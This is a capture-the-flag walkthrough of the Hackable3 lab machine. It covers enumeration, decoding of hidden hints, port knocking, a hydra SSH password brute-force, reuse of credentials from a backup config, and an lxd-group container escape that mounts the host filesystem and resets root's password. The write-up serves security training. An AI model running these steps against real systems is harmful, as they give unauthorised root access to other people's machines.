CTF : Hackable3
Informations
- IP: 192.168.0.162
- MYIP: 192.168.0.36
First enumeration
Basics
- NMAP
console$ sudo nmap -p- -A 192.168.0.162 Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-30 17:24 CEST Nmap scan report for 192.168.0.162 Host is up (0.00018s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp open http Apache httpd 2.4.46 ((Ubuntu)) |_http-title: Kryptos - LAN Home | http-robots.txt: 1 disallowed entry |_/config |_http-server-header: Apache/2.4.46 (Ubuntu) MAC Address: 08:00:27:59:87:F9 (Oracle VirtualBox virtual NIC) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.92%E=4%D=7/30%OT=80%CT=1%CU=35396%PV=Y%DS=1%DC=D%G=Y%M=080027%T OS:M=62E54D56%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10D%TI=Z%CI=Z%II=I OS:%TS=A)OPS(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O OS:5=M5B4ST11NW6%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6 OS:=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD= OS:0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0% OS:S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1( OS:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI= OS:N%T=40%CD=S) Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.18 ms 192.168.0.162 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 25.92 seconds
Vulnerabilities search
Following the disallowed dir in robots.txt I found 1.txt
console$ curl http://192.168.0.162/config/1.txt MTAwMDA= $ echo -ne 'MTAwMDA=' | base64 -d - 10000
Ok, let's keep enumerating...
First I gone to http://192.168.0.162, exploring source code revealed two interesting informations :
-
html
<!-- "Please, jubiscleudo, don't forget to activate the port knocking when exiting your section, and tell the boss not to forget to approve the .jpg file - dev_suport@hackable3.com" -->
-
html
<a href="login_page/login.html" target="_blank">Login</a>
On the login page there was another html comment :
html<!--This page is not ready, may give error-->
I tried to log into the website that returns a blank page... but source code was more usefull :
php<?php include('config.php'); $usuario = $_POST['user']; $senha = $_POST['pass']; $query = " SELECT * FROM usuarios WHERE user = '{$usuario}' and pass = '{$senha}'"; $result = mysqli_query($conexao, $query); $row = mysqli_num_rows($result); #validao conta if($row == 1) { $_SESSION['usuario'] = $usuario; header('Location: 3.jpg'); exit(); } else { $_SESSION['nao_autenticado'] = true; header('Location: login_page/login.html'); exit(); } ?>
So I decided to explore a bit more, for instance, config.php :
php<?php /* Database credentials. Assuming you are running MySQL server with default setting (user 'root' with no password) */ define('DB_SERVER', 'localhost'); define('DB_USERNAME', 'root'); define('DB_PASSWORD', ''); define('DB_NAME', 'hackable'); /* Attempt to connect to MySQL database */ $conexao = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME); // Check connection if($conexao === false){ die("ERROR: Could not connect. " . mysqli_connect_error()); } else { } ?>
Then I download file 3.jpg there was a something hidden :
console$ stegseek 3.jpg /usr/share/wordlists/rockyou.txt StegSeek 0.6 - https://github.com/RickdeJager/StegSeek [i] Found passphrase: "" [i] Original filename: "steganopayload148505.txt". [i] Extracting to "3.jpg.out". $ cat 3.jpg.out porta:65535
Ok, 1.txt, 3.jpg, I missed something !
In /css I found :
console$ curl http://192.168.0.162/css/2.txt ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>------------------....
This brainfuck language I decoded it via decode.fr. Result is 4444
As we saw earlier there was a port knocking action, so I assumed that if we knock on port 10000 then port 4444 and finally port 65535 it would open a port... maybe port 22 :
shellnc -w 1 192.168.0.162 10000 ; nc -w 1 192.168.0.162 4444 ; nc -w 1 192.168.0.162 65535
After that something has changed :)
console$ sudo nmap -p22 -A 192.168.0.162 Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-30 18:14 CEST Nmap scan report for 192.168.0.162 Host is up (0.00017s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Ubuntu 5ubuntu1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 04:d8:fd:13:8e:0b:5b:99:96:42:47:97:ce:ed:c0:92 (RSA) | 256 43:61:df:ef:85:6d:50:cd:c1:6c:3f:bd:02:68:de:6c (ECDSA) |_ 256 ad:71:c0:2e:e8:d6:4b:d7:e5:ec:e9:c0:0a:24:8e:b7 (ED25519) MAC Address: 08:00:27:59:87:F9 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 5.0 - 5.3 (99%), Linux 2.6.32 (96%), Linux 3.2 - 4.9 (96%), Netgear ReadyNAS 2100 (RAIDiator 4.2.24) (96%), Linux 2.6.32 - 3.10 (96%), Linux 4.15 - 5.6 (96%), Linux 5.3 - 5.4 (96%), Sony X75CH-series Android TV (Android 5.0) (95%), Linux 3.1 (95%), Linux 3.2 (95%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.17 ms 192.168.0.162 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.40 seconds
On /backup there was a wordlist.txt file :
console$ wget http://192.168.0.162/backup/wordlist.txt
Now everything leads to discover jubiscleudo's password on ssh service...
Exploit
To discover this password I used hydra and the wordlist found earlier :
console$ hydra -l jubiscleudo -P wordlist.txt -t4 -v ssh://192.168.0.162 Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-07-30 18:20:34 [...] [22][ssh] host: 192.168.0.162 login: jubiscleudo password: ----- [STATUS] attack finished for 192.168.0.162 (waiting for children to complete tests) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-07-30 18:28:09
console$ cat .user.txt % ,%&&%#. % *&&&&%%&%&&&&&&% % &&&& .%&&& % &&&# %&&& % /&&& &&&. % %&%/ %&&* % .&&# (%%(, ,(&&* %&& % &&% %&&&&&&&&&&&&&&%&%# &&& % &&%&&&&&&& #&&&&&* &&&&&&&%&% % &&&&&&&&&&&&&&, /&&&&&&&&&&&&&& % &&&&&&&% &&&&&&&& % %&&%&&&& /&&&%&&&% % &.%&&% %&&% &&&& %&&/*& % &&&&&&&&&& %&&&&# %%&&&& %&&&&&&&&& % /&%&/ *&&&&&& %&&&&&&%& &&&&&&. %&&&. % &&& &&%& %%%% .&&& % &&% &&& % %&&. *&%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%&& /&&( % /&&# #&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&* %&& % &&% ,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&% %&% % &&& %&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& %&& % &&& &&&&&&&&&&&&&&&%& %&&&&&&&&&&&&&&&% &&& % %&&&% &&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&% &%&&# % &&&&&&&%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& % &%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&% % &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&% % *&%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& % &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&% % #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%( invite-me: https://www.linkedin.com/in/eliastouguinho/
Privilege escalation
Enumeration for privesc
Ok there were two users on the box
console$ id jubiscleudo uid=1001(jubiscleudo) gid=1001(jubiscleudo) groups=1001(jubiscleudo) $ id hackable_3 uid=1000(hackable_3) gid=1000(hackable_3) groups=1000(hackable_3),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
hackable_3 was a serious candidate for privesc so I decided to see if there were some files he owns that I could read :
console$ find / -user hackable_3 -readable 2>/dev/null /scripts $ ls -al /scripts total 72 drwxr-xr-x 2 hackable_3 hackable_3 4096 Jun 30 2021 . drwxr-xr-x 21 root root 4096 Apr 29 2021 .. -rw-r--r-- 1 root root 105 Jun 30 2021 README.txt -rwxr-xr-x 1 root root 59653 Apr 28 2021 tetris.sh
This is interesting but I could not do anything as jubiscleudo.
Then I searched for interesting files in /var/www/html :
console$ cat .backup_config.php <?php /* Database credentials. Assuming you are running MySQL server with default setting (user 'root' with no password) */ define('DB_SERVER', 'localhost'); define('DB_USERNAME', 'hackable_3'); define('DB_PASSWORD', '------'); define('DB_NAME', 'hackable'); /* Attempt to connect to MySQL database */ $conexao = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME); // Check connection if($conexao === false){ die("ERROR: Could not connect. " . mysqli_connect_error()); } else { } ?>
Huuum ! :)
console$ su - hackable_3 Password: hackable_3@ubuntu20:~$ id uid=1000(hackable_3) gid=1000(hackable_3) groups=1000(hackable_3),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
Exploit
hackable_3 is member of group lxd, which means lxc containers could run and access host filesystem as root.
On my box I prepared little container to upload to the target :
console$ git clone https://github.com/saghul/lxd-alpine-builder.git $ cd lxd-alpine-builder $ sudo ./build-alpine $ mv alpine-v3.16-x86_64-20220730_1852.tar.gz alpine.tar.gz $ scp alpine.tar.gz hackable_3@192.168.0.162:/home/hackable_3/ hackable_3@192.168.0.162's password: alpine.tar.gz 100% 3127KB 145.6MB/s 00:00
And then on the target :
consolelxd init Would you like to use LXD clustering? (yes/no) [default=no]: Do you want to configure a new storage pool? (yes/no) [default=yes]: Name of the new storage pool [default=default]: Name of the storage backend to use (btrfs, dir, lvm, ceph) [default=btrfs]: dir dir Would you like to connect to a MAAS server? (yes/no) [default=no]: Would you like to create a new local network bridge? (yes/no) [default=yes]: What should the new bridge be called? [default=lxdbr0]: What IPv4 address should be used? (CIDR subnet notation, auto or none) [default=auto]: What IPv6 address should be used? (CIDR subnet notation, auto or none) [default=auto]: Would you like LXD to be available over the network? (yes/no) [default=no]: Would you like stale cached images to be updated automatically? (yes/no) [default=yes] Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]: lxc image import ./alpine.tar.gz --alias myimage lxc init myimage ignite -c security.privileged=true lxc config device add ignite mydevice disk source=/ path=/mnt recursive=true lxc start ignite lxc exec ignite /bin/sh / # chroot /mnt root@ignite:/# passwd New password: Retype new password: passwd: password updated successfully root@ignite:/# exit exit / # exit
With this trick I changed the host root's password and I could su to it :
console$ su - Password: root@ubuntu20:~# cat root.txt
░░█▀░░░░░░░░░░░▀▀███████░░░░
░░█▌░░░░░░░░░░░░░░░▀██████░░░
░█▌░░░░░░░░░░░░░░░░███████▌░░
░█░░░░░░░░░░░░░░░░░████████░░
▐▌░░░░░░░░░░░░░░░░░▀██████▌░░
░▌▄███▌░░░░▀████▄░░░░▀████▌░░
▐▀▀▄█▄░▌░░░▄██▄▄▄▀░░░░████▄▄░
▐░▀░░═▐░░░░░░══░░▀░░░░▐▀░▄▀▌▌
▐░░░░░▌░░░░░░░░░░░░░░░▀░▀░░▌▌
▐░░░▄▀░░░▀░▌░░░░░░░░░░░░▌█░▌▌
░▌░░▀▀▄▄▀▀▄▌▌░░░░░░░░░░▐░▀▐▐░
░▌░░▌░▄▄▄▄░░░▌░░░░░░░░▐░░▀▐░░
░█░▐▄██████▄░▐░░░░░░░░█▀▄▄▀░░
░▐░▌▌░░░░░░▀▀▄▐░░░░░░█▌░░░░░░
░░█░░▄▀▀▀▀▄░▄═╝▄░░░▄▀░▌░░░░░░
░░░▌▐░░░░░░▌░▀▀░░▄▀░░▐░░░░░░░
░░░▀▄░░░░░░░░░▄▀▀░░░░█░░░░░░░
░░░▄█▄▄▄▄▄▄▄▀▀░░░░░░░▌▌░░░░░░
░░▄▀▌▀▌░░░░░░░░░░░░░▄▀▀▄░░░░░
▄▀░░▌░▀▄░░░░░░░░░░▄▀░░▌░▀▄░░░
░░░░▌█▄▄▀▄░░░░░░▄▀░░░░▌░░░▌▄▄
░░░▄▐██████▄▄░▄▀░░▄▄▄▄▌░░░░▄░
░░▄▌████████▄▄▄███████▌░░░░░▄
░▄▀░██████████████████▌▀▄░░░░
▀░░░█████▀▀░░░▀███████░░░▀▄░░
░░░░▐█▀░░░▐░░░░░▀████▌░░░░▀▄░
░░░░░░▌░░░▐░░░░▐░░▀▀█░░░░░░░▀
░░░░░░▐░░░░▌░░░▐░░░░░▌░░░░░░░
░╔╗║░╔═╗░═╦═░░░░░╔╗░░╔═╗░╦═╗░
░║║║░║░║░░║░░░░░░╠╩╗░╠═╣░║░║░
░║╚╝░╚═╝░░║░░░░░░╚═╝░║░║░╩═╝░
invite-me: linkedin.com/in/eliastouguinho
\o/